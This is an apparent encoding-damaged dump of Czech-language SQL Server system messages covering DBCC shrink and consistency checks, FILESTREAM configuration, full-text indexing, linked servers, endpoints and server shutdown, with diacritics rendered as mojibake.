HHromadn� na
ten�: Typ DataFileType byl nespr�vn zad�n jako widechar. Typ DataFileType bude pova~ov�n za char, proto~e datov� soubor neobsahuje podpis Unicode.

�Upozornn�: Tabulka %1!s! je publikov�na pro slu
ovac� replikaci. Chcete-li zajistit, aby pYidan� data byla zahrnuta v dala� synchronizaci, provete novou inicializaci ovlivnn�ch odbratelo nebo spusete sp_addtabletocontents.

|Pozn�mka: Operace hromadn�ho vlo~en� proveden� prostYednictv�m zobrazen� mo~e zposobit, ~e v�choz� hodnoty z�kladn� tabulky v datov�m souboru budou u sloupco s hodnotou NULL ignorov�ny.

Upozornn�: Odd�l %1!s! pro tabulku %2!s! byl v pY�kazu ALTER TABLE SWITCH ignorov�n, proto~e tabulka nen� rozdlen� na diskov� odd�ly.

�V syst�mov�m katalogu byl zmnn soubor %1!s!. PYi dala�m spuatn� datab�ze bude pou~ita nov� cesta.

�Pro soubor %1!s! nebylo mo~n� nal�zt polo~ku v sys.master_files.

pByl nastaven n�zev objektu %1!s! na hodnotu %2!s!.

@Upozornn�: Protokol pro datab�zi%1!s! byl znovu sestaven. Konzistence transakc� byla ztracena. Xetzec pY�kazu RESTORE byl pYeruaen a server ji~ nem� k dispozici informace o kontextu k pYedchoz�m souborom protokolu, tak~e budete muset sami zn�t informaci o jejich um�stn�. Doporu
ujeme spustit pY�kaz DBCC CHECKDB a ovYit fyzickou konzistenci. Datab�ze byla pYevedena do re~imu dbo-only. A~ budete cht�t zpY�stupnit datab�zi pro pou~�v�n�, budete muset znovu nastavit mo~nosti datab�ze a odstranit vaechny nadbyte
n� soubory protokolu.

�Dokud nen� protokol z�lohovan�, nelze soubor zmenait pod str�nku %1!s!, proto~e obsahuje hromadn protokolovan� str�nky.

LByl odstrann objekt %1!s! %2!s!.

hU objektu %1!s! byla nastavena vlastnost %2!s!.

�Syst�m vr�t� nekvalifikovan� transakce zpt. Odhad dokon
en� operace vr�cen� zpt: %1!s!%%.

�NepodaYilo se znovu spustit aktu�ln� datab�zi. Aktu�ln� datab�ze je pYepnuta na hlavn�.

 Upozornn�: Syst�m mn� v�choz� kolaci datab�ze %1!s! pou~�van� v replikaci. Vaechny datab�ze replikace by mly m�t stejnou v�choz� kolaci.

�Stav datab�ze %1!s! pro form�t �lo~iat Vardecimal je: %2!s!.

�Prob�h� nastaven� mo~nosti %1!s! datab�ze %3!s! na hodnotu %2!s!.

Soubor protokolu %1!s! neodpov�d� prim�rn�mu souboru. Dovodem mo~e b�t rozd�ln� datab�ze nebo ned�vn� optovn� vytvoYen� protokolu.

�Chyba aktivace souboru. N�zev fyzick�ho souboru %1!s! mo~e b�t nespr�vn�.

�FCB::SetSize dbid %1!s! fileid %2!s! oldSize %3!s! newSize %4!s!. Chcete-li zabr�nit zobrazov�n� t�to informativn� zpr�vy v protokolu chyb, pou~ijte pY�kaz DBCC TRACEOFF, kter�m vypnete pY�znak trasov�n�.

�Protokol nebylo mo~n� optovn vytvoYit bu z dovodu otevYen�ch transakc� 
i u~ivatelo pYi vyp�n�n� datab�ze, z dovodu absence kontroln�ch bodo v datab�zi, nebo z dovodu nastaven� datab�ze jen pro 
ten�. Tato chyba mohla nastat, pokud byl soubor transak
n�ho protokolu ru
n odstrann nebo ztracen z dovodu chyby hardwaru 
i prostYed�.

�Protokol nelze optovn vytvoYit v pY�pad, ~e je prim�rn� soubor nastaven jen pro 
ten�.

�Pokud je povoleno zrcadlen� datab�ze, nelze protokol znovu vytvoYit.

�Protokol nebyl znovu vytvoYen, proto~e existuje v�ce souboro protokolu.

Operace AUTOGROW souboru %1!s! v datab�zi %2!s! byla zruaena u~ivatelem nebo vyprael 
asov� limit po %3!s! ms. Chcete-li nastavit mena� hodnotu parametru FILEGROWTH pro tento soubor nebo explicitn nastavit novou velikost souboru, pou~ijte pY�kaz ALTER DATABASE

hOperace AUTOGROW souboru %1!s! v datab�zi %2!s! trvala %3!s! ms. Chcete-li pro tento soubor nastavit mena� hodnotu parametru FILEGROWTH, zva~te pou~it� pY�kazu ALTER DATABASE.

tAby bylo umo~nno �span� proveden� operace obnoven�, byl soubor %1!s! roza�Yen. Po dokon
en� obnoven� mo~ete zvtait velikost souboro v datab�zi. Po~�dejte o pomoc spr�vce syst�mu.

�Aby bylo umo~nno �span� proveden� operace obnoven�, byl soubor protokolu %1!s! roza�Yen nad r�mec jeho maxim�ln� velikosti. Po dokon
en� obnoven� byste mli bu zvtait velikost souboru protokolu v datab�zi, nebo napl�novat 
astja� z�lohov�n� protokolu (v r�mci modelu pln�ho nebo hromadn protokolovan�ho obnoven�).

\Byl vytvoYen nov� soubor protokolu %1!s!.

�M�stn� adres�Y %1!s! je pou~it pro datab�zi tempdb v clusterovan�m serveru. Tento adres�Y mus� existovat na ka~d�m uzlu clusteru a slu~ba syst�mu SQL Server v nm mus� m�t opr�vnn� pro 
ten�/z�pis.

@Soubor %1!s! byl rozbalen.

DBCC SHRINKDATABASE: ID souboru %1!s! (ID datab�ze %2!s!) bylo pYesko
eno z dovodu nedostatku m�sta po~adovan�ho souborem.

�PY�kaz DBCC SHRINKDATABASE pro ID datab�ze %1!s! 
ek� na dokon
en� transakce sn�mku s 
asov�m raz�tkem %2!s! a dala�ch transakc� sn�mko odkazuj�c�ch na 
asov� raz�tko %3!s! nebo 
asov� raz�tka stara� ne~ %4!s!.

�PY�kaz DBCC SHRINKFILE pro ID souboru %1!s! 
ek� na dokon
en� transakce sn�mku s 
asov�m raz�tkem %2!s! a dala�ch transakc� sn�mko odkazuj�c�ch na 
asov� raz�tko %3!s! nebo 
asov� raz�tka stara� ne~ %4!s!.

�%1!s!: Bhem pYesouv�n� str�nky %2!s!:%3!s! doalo k chyb.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e ji syst�m nemohl 
�st.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o str�nku pracovn� tabulky.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o str�nku pracovn�ho souboru.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o vyhrazenou aloka
n� str�nku.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o neplatn� typ str�nky.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e byla bhem zmenaen� navr�cena.

D%1!s!: Str�nka syst�mov� tabulky SYSFILES1 %2!s!:%3!s! nemohla b�t pYesunuta do jin�ch souboro, proto~e mo~e b�t um�stna pouze v prim�rn�m souboru datab�ze.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e jej� vlastnictv� bylo bhem zmenaen� zmnno.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e typ str�nky byl bhem zmenaen� zmnn.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e odd�l, k nmu~ n�le~ela, byl vyYazen.

�%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e tabulka, k n�~ n�le~ela, byla vyYazena.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o pr�zdnou indexovou str�nku mimo listovou �roveH.

�%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e n�zev tabulky nebyl nalezen.

x%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta.

�%1!s!: Str�nka IAM (Index Allocation Map) %2!s!:%3!s! nemohla b�t pYesunuta.

�%1!s!: Str�nka IAM (Index Allocation Map) %2!s!:%3!s! z vyYazen� aloka
n� jednotky nemohla b�t pYesunuta.

�%1!s!: Str�nka %2!s!:%3!s! z vyYazen� aloka
n� jednotky nemohla b�t navr�cena.

|%1!s!: Pr�zdn� str�nka %2!s!:%3!s! nemohla b�t navr�cena.

�%1!s!: Pr�zdn� str�nka velk�ho objektu %2!s!:%3!s! nemohla b�t navr�cena.

�%1!s!: Nkter� neodstrann� z�znamy na str�nce velk�ho objektu %2!s!:%3!s! nebylo mo~n� odebrat. Pokud v 
iteln�ch m�stn�ch replik�ch prob�haj� aktivn� dotazy, zkontrolujte aktu�ln� hranici 
iatn� neodstrann�ch z�znamo.

�%1!s!: Str�nka %2!s!:%3!s! (typ UNLINKED_REORG_PAGE) nemohla b�t navr�cena.

�%1!s!: Str�nka %2!s!:%3!s! (typ BULK_OPERATION_PAGE) nemohla b�t navr�cena.

�PY�kaz CHECK byl pYeruaen. PY�kaz DBCC CHECKCATALOG nelze spustit pro datab�zi TEMPDB.

@ID objektu %1!s! (objekt %2!s!): PYi pokusu o uzamknut� tohoto objektu pro kontrolu doalo k vz�jemn�mu zablokov�n�. Objekt byl vynech�n a nebude zpracov�n.

�PY�kaz DBCC CHECKDB neprovede kontrolu konzistence katalogu syst�mu SQL Server ani slu~by Service Broker, proto~e nebylo mo~n� vytvoYit sn�mek datab�ze nebo proto~e byla zad�na mo~nost WITH TABLOCK.

@DBCC SHRINKDATABASE: Bylo vynech�no ID souboru %1!s! pro ID datab�ze %2!s!, proto~e pYi pokusu pYizposobit pYidlen� m�sta pro tento soubor doalo k chyb.

p%1!s!PY�kaz DBCC %2!s! (%3!s!%4!s!%5!s!)%6!s!, spuatn� u~ivatelem %7!s! byl ukon
en neobvykl�m zposobem z dovodu stavu chyby: %8!s!. Uplynul� 
as: %9!s! hod %10!s! min %11!s! s.

Objekt %1!s! nebylo mo~n� zpracovat, proto~e se jedn� o n�zev sest�vaj�c� ze 
tyY 
�st�, co~ nen� podporov�no ~�dn�m pY�kazem DBCC.

�Z dovodu vnitYn� chyby dotazu doalo k chyb kontroly kY�~ov� sady Y�dku pY�kazem DBCC u objektu %1!s! (ID objektu %2!s!).

�ID souboru %1!s! pro ID datab�ze %2!s! nelze zmenait, proto~e je bu zmenaov�no jin�m procesem, nebo je pr�zdn�.

4ID souboru %1!s! pro ID datab�ze %2!s! nelze zmenait, proto~e c�lov� velikost zmenaen� (%3!s! kB) je vta� ne~ skute
n� velikost souboru (%4!s! kB).

�Oprava: Pro Y�dek byla �span dokon
ena operace: %1!s! (v indexu %2!s! v datab�zi %3!s!).

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e operace zmenaen� nemohla zamknout str�nku.

�%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e doalo k chyb pYi �dr~b indexo NC pYidru~en�ch k hald.

ID souboru %1!s! pro ID datab�ze %2!s! nebylo mo~n� zmenait na o
ek�vanou velikost. Velk� po
et sou
asn spuatn�ch �loh zposob� bhem operace zmenaen� velk� po
et vz�jemn�ch zablokov�n�. Spusete operaci zmenaen� znovu, a~ bude spuatn mena� po
et �loh.

�PY�kaz CHECK byl pYeruaen. PY�kaz DBCC CHECKCATALOG nelze spustit pro datab�zi TEMPDB.

%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e tabulka, k n�~ patY�, vytv�Yela haldu prostYednictv�m jin�ho procesu.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o str�nku Yazen�.

%1!s!: ID souboru %2!s! pro ID datab�ze %3!s! bylo vynech�no, proto~e v probhu operace zmenaen� byla zmnna velikost souboru.

�%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e doalo k chyb pYi sestavov�n� v�razu po
�tan�ho sloupce.

�%1!s!: Str�nka haldy %2!s!:%3!s! nemohla b�t pYesunuta, proto~e doalo k chyb pYi naplHov�n� v�razu po
�tan�ho sloupce.

�%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e nebyla naform�tov�na.

�Byl nalezen nespr�vn� po
et pro tabulku %1!s!, index %2!s!, odd�l %3!s!:

�   Str�nky DATA %1!s!: po
et str�nek ze syst�mov� tabulky: %2!s!;     skute
n� po
et str�nek: %3!s!.

�   Str�nky USED %1!s!: po
et str�nek ze syst�mov� tabulky: %2!s!;     skute
n� po
et str�nek: %3!s!.

�   Str�nky RSVD %1!s!: po
et str�nek ze syst�mov� tabulky: %2!s!;     skute
n� po
et str�nek: %3!s!.

�   Po
et ROWS: po
et Y�dko ze syst�mov� tabulky: %1!s!;     skute
n� po
et Y�dko: %2!s!.

@PY�kaz DBCC %1!s! prov�d� podrobn� prohled�v�n� indexo %2!s! a hled� mo~n� nekonzistence. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

%1!s!: Str�nka %2!s!:%3!s! nemohla b�t pYesunuta, proto~e se jedn� o nepYesunutelnou str�nku v kritick� syst�mov� tabulce.

PY�kaz DBCC %1!s! nemohl poskytnou v�stup v�sledko z dovodu vnitYn� chyby. Chcete-li zjistit podrobnosti, prohl�dnte si dala� chyby.

(%1!s!: Str�nka IAM (Index Allocation Map) %2!s!:%3!s! nemohla b�t pYesunuta, proto~e nebylo mo~n� z�skat v�hradn� pY�stup k povodn�mu objektu.

�%1!s!: Str�nku %2!s!:%3!s! nebylo mo~n� pYesunout, proto~e patYila k indexu 
i hald, kter� byly vytvoYeny online.

Syst�m dokon
il dokladn� prohled�n� objektu %1!s! (ID datab�ze %2!s!) za �
elem nalezen� nekonzistenc�. Bylo zpracov�no %3!s! z celkov�ho po
tu %4!s! prohled�n�. Uplynul� 
as: %5!s! ms. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Bhem dokladn�ho prohled�n� objektu %1!s! (ID datab�ze %2!s!) za �
elem nalezen� nekonzistenc� doalo k chyb z dovodu v�jimky %3!s! (stav %4!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Sn�mek vnitYn� datab�ze %1!s! m� bod rozdlen� hodnoty; LSN = %2!s!:%3!s!:%4!s!. a prvn� hodnotu LSN = %5!s!:%6!s!:%7!s!.

\PY�kaz DBCC nalezl str�nku s poYadov�m 
�slem polo~ky (LSN) vta� ne~ je sou
asn� hodnota konce protokolu LSN %1!s! pro vnitYn� sn�mek datab�ze. Nebylo mo~n� 
�st str�nku %2!s!, datab�ze %3!s! (ID datab�ze %4!s!), LSN = %5!s!, typ = %6!s!, isInSparseFile = %7!s!. Spusete tento pY�kaz DBCC znovu.

�Odhadovan� diskov� prostor TEMPDB potYebn� pro: %1!s! v datab�zi: %2!s! = %3!s! v kB.

TKontrola kY�~ov� sady Y�dko u neclusterovan�ho objektu indexu columnstore s ID %1!s!, indexu s ID %2!s!, odd�lu s 
�slem %3!s! selhala. Sestavte pros�m odd�l znova.

�%1!s!: Str�nku %2!s!:%3!s! nebylo mo~n� pYesunout, proto~e patY� do aktivn�ho online sestaven� indexu s objekty LOBs.

�Doalo k v�jimce obejit� DBCC THROWERROR. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

$ID objektu %1!s! (objekt %2!s!): Operace nen� u pameov optimalizovan�ch tabulek podporov�na. Tento objekt byl vynech�n a nebude zpracov�n.

xKontrola kY�~ov� sady Y�dko mezi clusterovan�m a neclusterovan�m indexem columnstore (objekt s ID %1!s!, index s ID %2!s!, odd�l s 
�slem %3!s!) selhala. Sestavte pros�m odd�l znova.

�Nelze nal�zt polo~ku v katalogu sys.database_files pro soubor FILESTREAM %1!s!.

@FILESTREAM: efektivn� �roveH = %1!s! (vzd�len� pY�stup zak�z�n), nakonfigurovan� �roveH = %2!s!, n�zev sd�len� slo~ky pro pY�stup syst�mu souboro = %3!s!.

@FILESTREAM: efektivn� �roveH = %1!s! (vzd�len� pY�stup povolen), nakonfigurovan� �roveH = %2!s!, n�zev sd�len� slo~ky pro pY�stup syst�mu souboro = %3!s!.

�FILESTREAM: pYipojeno k ovlada
i j�dra %1!s!. Toto je informa
n� zpr�va. Nen� tYeba ~�dn� akce u~ivatele.

|FILESTREAM: nepovedlo se pYipojit k ovlada
i j�dra %1!s!.

�VnitYn� chyba FILESTREAM: PY�stup k tabulce zna
ek odstrann�ch polo~ek se nezdaYil s hodnotou HRESULT: 0x%1!s!.

Operace %1!s! se nezdaYila s hodnotou HRESULT: %2!s! v souboru %3!s!, Y�dek %4!s! pYi prov�dn� procedury sp_filestream_configure.

�Funkce FILESTREAM je povolen�. Toto je informa
n� zpr�va. Nen� tYeba ~�dn� akce u~ivatele.

��roveH pY�stupu FILESTREAM byla zmnna na %1!s!. Restartujte instanci SQL Serveru, aby se nastaven� pln projevilo.

�FILESTREAM: efektivn� �roveH = %1!s!, nakonfigurovan� �roveH = %2!s!.

�Vlastnost FILESTREAM byla zak�z�na. Chcete-li, aby se nastaven� projevila, restartujte instanci syst�mu SQL Server. Pokud m�te ve sloupci FILESTREAM data, nebudou tato data po restartov�n� syst�mu SQL Server pY�stupn�.

�PYedt�m, ne~ se projev� nastaven� vlastnosti FILESTREAM, je tYeba prov�st restart po
�ta
e.

�PY�stup ke vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTREAM nejde povolit. Spr�vce opera
n�ho syst�mu mus� v instanci povolit pY�stup ke vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTREAM pomoc� Spr�vce konfigurace.

�Vlastnost FILESTREAM je ji~ nakonfigurov�na na zadanou �roveH. Nebyla provedena ~�dn� zmna.

Konfigurace vlastnosti FILESTREAM mo~e b�t nekonzistentn�. Chcete-li obnovit konfiguraci, pou~ijte ulo~enou proceduru sp_configure.

�Vlastnost FILESTREAM nen� v u~ivatelsk�ch instanc�ch podporov�na.

xOptovn� generov�n� hlavn�ho kl�
e slu~by bylo �span�.

tPokus o optovn� generov�n� hesla pro SA byl �span�.

TKontext datab�ze byl zmnn na %1!s!.

\Syst�m SQL Server ukon
uje tento proces.

XNastaven� jazyka bylo zmnno na %1!s!.

�Syst�m zjistil nezn�mou konfiguraci (ID = %1!s!) v zobrazen� sys.configurations.

\Do ID uzlu %2!s! bylo pYid�no za provozu ID fyzick�ho procesoru %1!s!jako ID logick�ho procesoru %3!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Online pYid�n� procesoru nen� v aktu�ln� edici syst�mu SQL Server podporov�no.

<Online pYid�n� prostYedko procesoro nelze dokon
it. PYi spuatn� syst�mu SQL Server byla zad�na konfigurace Soft-NUMA (Software Non-Uniform Memory Access), kter� neumo~Huje online pYid�n� prostYedko procesoru. Chcete-li pou~�vat dala� prostYedky procesoro, bu pYidejte nov� procesy do konfigurace Soft-NUMA a restartujte syst�m SQL Server, nebo odeberte konfiguraci Soft-NUMA a restartujte syst�m SQL Server.

�Kv�ta AccessCheckResult mus� b�t vta� nebo rovna po
tu kbel�ko.

|Po
et kbel�ko AccessCheckResult mus� b�t ni~a� ne~ %1!s!.

Procesor

NUMANODE

0Pro uzel %1!s! bylo zmnno nastaven� spYa~en�: z 0x%2!s!:%3!s! na 0x%4!s!:%5!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Dynamick� nastaven� konfigurace %1!s!\%2!s! bylo zmnno na hodnotu %3!s!.

pZadan� maxim�ln� velikost pamti serveru (%1!s! MB) je vta� ne~ velikost roza�Yen� fondu vyrovn�vac� pamti (%2!s! MB). Roza�Yen� fondu vyrovn�vac� pamti se pYi restartu vypne.

lPY�kaz SHUTDOWN 
ek� na dokon
en� procesu %1!s!.

`U~ivatel nem� opr�vnn� prov�st tuto akci.

TProb�h� zpracov�n� pY�kazu SHUTDOWN.

�Prob�h� vyp�n�n� serveru. Povodce vyp�n�n�: %1!s!, pYihl�aen�: %2!s!.

�PY�kaz SHUTDOWN nelze spustit v r�mci transakce nebo prostYednictv�m ulo~en� procedury.

SPID %1!s!: Prob�h� vr�cen� transakce. Operace vr�cen� zpt je dokon
ena z (odhad): %2!s!%%. Odhad zb�vaj�c� doby: %3!s! s.

<Distribuovan� transakce s parametrem UOW %1!s! prov�d� vr�cen� zpt: Operace vr�cen� zpt je dokon
ena z (odhad): %2!s!%%, odhad zb�vaj�c� doby: %3!s! s.

�Funkce modulu CLR byla inicializov�na prostYednictv�m verze CLR %1!s! z %2!s!.

XFunkce modulu CLR byla inicializov�na.

,Upozornn�: Sestaven� %1!s! bylo vytvoYeno prostYednictv�m rozhran� .NET Framework, verze %2!s!. Syst�m SQL Server aktu�ln pou~�v� verzi %3!s!.

dDom�na AppDomain %1!s! (%2!s!) byla uvolnna.

hDom�na AppDomain %1!s! (%2!s!) byla vytvoYena.

Bylo provedeno oY�znut� k�du XML DTD z jednoho nebo v�ce fragmento k�du XML. Extern� podmno~iny (pokud existovaly) byly ignorov�ny.

pModul runtime rozhran� .NET Framework byl zastaven.

�Doalo k chyb anal�zy k�du XML 0x%1!s! na Y�dku %2!s!, v bl�zkosti textu XML: %3!s!.

�OvYen� XML: Neplatn� obsah. Je o
ek�v�n jeden 
i v�ce elemento: %1!s!. %2!s! %3!s!

 OvYen� XML: Neplatn� obsah. Je o
ek�v�n jeden 
i v�ce elemento %1!s!. Nalezeno element %2!s! (nam�sto o
ek�van�ho elementu). %3!s! %4!s!.

Upozornn�: Na typ %1!s! se vztahuje omezuj�c� vlastnost %2!s!, kter� mo~e m�t dopad na dobu odezvy pro instance tohoto typu.

�Upozornn�: Povolen�  remote proc trans  nen� na t�to instanci podporov�no. Bude vr�cen v�choz� stav (zak�z�no).

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat sadu Y�dko. %3!s!.

 ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til hodnotu %3!s!, kter� je datov�ho typu %4!s!, avaak mla by b�t typu %5!s!.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til nespr�vnou hodnotu pro %3!s!. Tato hodnota by mla b�t%4!s!.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til hodnotu %3!s!, ale funkce %4!s! nen� podporov�na.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til bhem shroma~ov�n� statistick�ch �dajo hodnotu %3!s! pro objekt %4!s!.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! podporuje rozhran� z�mku sch�matu, ale vr�til hodnotu %3!s! pro objekt %4!s!.

 %1!s! SQL Server   
as vzd�len�ho shroma~ov�n� metadat pro tabulku %2!s!.%3!s!:%4!s!, 
as procesoru = %5!s! ms, uplynul� doba = %6!s! ms.

PZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til zkr�cen� data pro sloupec %3!s!.%4!s!. Skute
n� d�lka dat je %5!s! a zkr�cen� d�lka dat je %6!s!.

HStav vzd�len� spuatn�: %1!s!.

�Upozornn�: }�dost o spuatn� procesu naplnn� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %1!s! je ignorov�na, proto~e v tuto chv�li je pro tuto tabulku nebo indexovan� zobrazen� aktivn� operace naplnn�.

Upozornn�: }�dost o ukon
en� sledov�n� zmn odstranila vaechny zmny, kter� byly sledov�ny pro tabulku nebo indexovan� zobrazen� %1!s!.

xUpozornn�: }�dost o ukon
en� sledov�n� zmn pro tabulku 1 nebo indexovan� zobrazen� %1!s! nezposob� ukon
en� aktu�ln prob�haj�c�ho naplHov�n� pro tabulku nebo indexovan� zobrazen�.

�Upozornn�: Bhem odpojov�n� datab�ze nebylo mo~n� ulo~it konfiguraci fulltextov�ho katalogu pro %1!s!.

�Upozornn�: PYipojen� fulltextov�ho katalogu %1!s! se nezdaYilo.

�Upozornn�: Odpojen� fulltextov�ho katalogu pro %1!s! se nezdaYilo.

�Upozornn�: VyYazen� fulltextov�ho katalogu pro %1!s! se nezdaYilo.

�Upozornn�: Prob�haj�c� naplHov�n� je nutn� prov�st z dovodu zajiatn� aktualizovan�ho indexu. V pY�pad potYeby nejprve ukon
ete sledov�n� zmn a pot� deaktivujte naplHov�n� fulltextov�ho indexu.

�Upozornn�: Tabulka nebo indexovan� zobrazen� %1!s! obsahuje fulltextov� indexov� sloupce typu obr�zek, text nebo ntext. ProstYednictv�m fulltextov�ho sledov�n� nelze sledovat operace WRITETEXT nebo UPDATETEXT proveden� pro tyto sloupce.

�Upozornn�: Fulltextov� sledov�n� zmn je aktu�ln povoleno pro tabulku nebo indexovan� zobrazen� %1!s!.

�Upozornn�: Fulltextov� automatick� propagace je aktu�ln povolena pro tabulku nebo indexovan� zobrazen� %1!s!.

�Upozornn�: Fulltextov� index tabulky nebo indexovan� zobrazen� %1!s! nelze naplnit, proto~e datab�ze je v jednou~ivatelsk�m pY�stupov�m re~imu. Sledov�n� zmn je pro tuto tabulku nebo indexovan� zobrazen� zastaveno.

�Upozornn�: Fulltextov� sledov�n� zmn je aktu�ln pro tabulku nebo indexovan� zobrazen� %1!s! zak�z�no.

�Upozornn�: Prob�h� vyYazen� fulltextov�ho katalogu %1!s!. Tento katalog je aktu�ln nastaven jako v�choz�.

�Upozornn�: Fulltextov� automatick� propagace je zapnut�. }�dost o ukon
en� proch�zen� je ignorov�na.

�Upozornn�: Adres�Y %1!s! nem� platn� fulltextov� katalog. Soubor hlavi
ek fulltextov�ho katalogu nebo soubor stavu pYipojen� bu chyb�, nebo je poakozen�. Fulltextov� katalog nelze pYipojit.

�Sou
�st %1!s! nahl�sila chybu bhem indexov�n�. Cesta sou
�sti: %2!s!.

�PYi naplHov�n� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!), hodnota fulltextov�ho kl�
e %5!s!, doalo k chyb %1!s!. NepodaYilo se indexovat Y�dek.

�PYi naplHov�n� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!), hodnota fulltextov�ho kl�
e %5!s!, doalo k chyb %1!s!. Bude proveden pokus o pYeindexov�n�.

$Pro tabulku nebo indexovan� zobrazen� %1!s! nelze pou~�t konstruktor CONTAINS, FREETEXT, CONTAINSTABLE nebo FREETEXTTABLE, proto~e ~�dn� sloupce nemaj� fulltextov� index. Registrujte alespoH jeden sloupec pro fulltextov� vyhled�v�n� pomoc� pY�kazu ALTER FULLTEXT INDEX.

�Upozornn�: Fulltextov� index pro tabulku nebo indexovan� zobrazen� %1!s! v datab�zi %2!s! byl po z�lohov�n� souboro fulltextov�ho katalogu zmnn. Aby bylo mo~n� uv�st fulltextov� index do konzistentn�ho stavu, je nutn� zajistit pln� naplnn�.

 Upozornn�: Seznam hodnot rozsahu pro funkci odd�lu %1!s! nen� Yazen dle hodnot. Pokud pY�kaz CREATE PARTITION SCHEME odkazuje na funkci %2!s!, proces mapov�n� odd�lo na skupiny souboro pou~ije v r�mci vykon�v�n� pY�kazu CREATE PARTITION SCHEME Yazen� hodnoty hranic.

�Upozornn�: Sch�ma odd�lu %1!s! nem� ~�dn� dala� pou~�van� skupiny souboro. Sch�ma odd�lu nebylo zmnno.

Sch�ma odd�lu %1!s! bylo �span vytvoYeno. Ve sch�matu odd�lu %3!s! je jako dala� pou~it� skupina souboro ozna
ena skupina %2!s!.

�Celkem %1!s! skupin souboro zadan�ch po dala� pou~�van� skupin souboro je ignorov�no.

Objekt %1!s! %2!s! zadan� pro clusterovan� index %3!s! byl pou~it pro tabulku %4!s!, pYesto~e je pro ni zad�n objekt %5!s! %6!s!.

dNelze zruait registraci koncov�ho bodu %1!s!.

�Nelze naj�t objekt %1!s!. Objekt bu neexistuje, nebo nem�te pY�sluan� opr�vnn�.

V metadatech byl vytvoYen koncov� bod %1!s!, ale naslouch�n� protokolu HTTP nebylo povoleno, proto~e nebyla �span spuatna podpora protokolu HTTP. OvYte, zda opera
n� syst�m a edice syst�mu SQL Server podporuj� nativn� pY�stup protokolem HTTP. Nahl�dnte do protokolu chyb syst�mu SQL Server a zkontrolujte chyby, ke kter�m mohlo doj�t bhem spouatn� podpory protokolu HTTP.

PZadan� hodnota %1!s! ji~ existuje.

LZadan� hodnota %1!s! neexistuje.

�Nelze naj�t datab�zi %1!s!. Datab�ze bu neexistuje, nebo nem�te pY�sluan� opr�vnn�.

�Rezervace pro obor n�zvo HTTP (%1!s!) byla odstranna. Pokud jsou k tomuto oboru n�zvo pYiYazeny koncov� body, budou i nad�le pYij�mat a zpracov�vat po~adavky do doby, ne~ bude server restartov�n.

 Syst�m SQL Server 
ek� na ukon
en� zb�vaj�c�ch relac� a pYipojen� (celkem %1!s!). Pokud tyto relace nebudou ukon
eny bhem pYimYen� doby, bude vyp�n�n� s 
ek�n�m na potvrzen� pYeruaeno. Tato zpr�va se mo~e zobrazit nkolikr�t, ne~ dojde k vypnut� syst�mu SQL Server.

�Syst�m SQL Server �span dokon
il ukon
en� relac� a pYipojen�.

Syst�mu SQL Server se nepodaYilo ukon
it relace a pYipojen� v pYimYen� dob a pYeruauje operaci vyp�n�n� s 
ek�n�m na potvrzen�.

VytvoYen� koncov�ho bodu TSQL zposob� odvol�n� vaech opr�vnn� k pYipojen� Public pro koncov� bod %1!s!. Pokud pY�stup Public pro tento koncov� bod potYebujete, znovu nastavte toto opr�vnn� prostYednictv�m pY�kazu GRANT CONNECT ON ENDPOINT::[%2!s!] to [public].

�Funkce vytv�Yen� a zmny koncov�ch bodo protokolu SOAP bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

